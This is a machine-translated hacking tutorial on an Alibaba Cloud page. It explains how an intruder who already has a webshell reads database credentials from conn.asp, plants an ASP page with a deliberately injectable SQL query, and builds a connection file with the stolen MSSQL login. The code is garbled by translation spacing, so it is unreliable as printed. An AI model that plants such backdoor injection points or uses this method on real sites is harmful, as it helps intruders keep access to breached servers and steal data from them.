Construct ASP injection points

Source: Internet
Author: User

First, you need to get a webshell. In this way, most of the files that connect to the database are conn. the asp file contains the mssql user and password. You need to find the user name, password, and IP address of the database, and then connect to it.
<! -- # Include file = "xx. asp" -->
<%
Set rs = server. createobject ("ADODB. recordset ")
Id = request ("id ")
StrSQL = "select * from admin where id =" & id
Rs. open strSQL, conn, 1, 3
Rs. close
%>
 
Replace the admin in strSQL = "select * from admin where id =" & id with the table name to be forged. Note that the table name must exist! Here we assume that admin is the table name! Save the file name as needed!

Then we need to construct a file to connect to the database. The Code is as follows:

<%
StrSQLServerName = "000.000.000.000" server name or address
StrSQLDBUserName = "sqlname" database account
StrSQLDBPassword = "sqlpass" Database Password
StrSQLDBName = "sqldataname" Database Name
Set conn = Server. CreateObject ("ADODB. Connection ")
StrCon = "Provider = SQLOLEDB.1; Persist Security Info = False; Server =" & strSQLServerName & "; User ID =" & strSQLDBUserName & "; Password =" & strSQLDBPassword &"; database = "& strSQLDBName &";"
Conn. open strCon
%>
This should all be done here; but note that the saved file name should be the same as the name called by include. Under normal circumstances, it will be OK. Forgery is successful ......

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.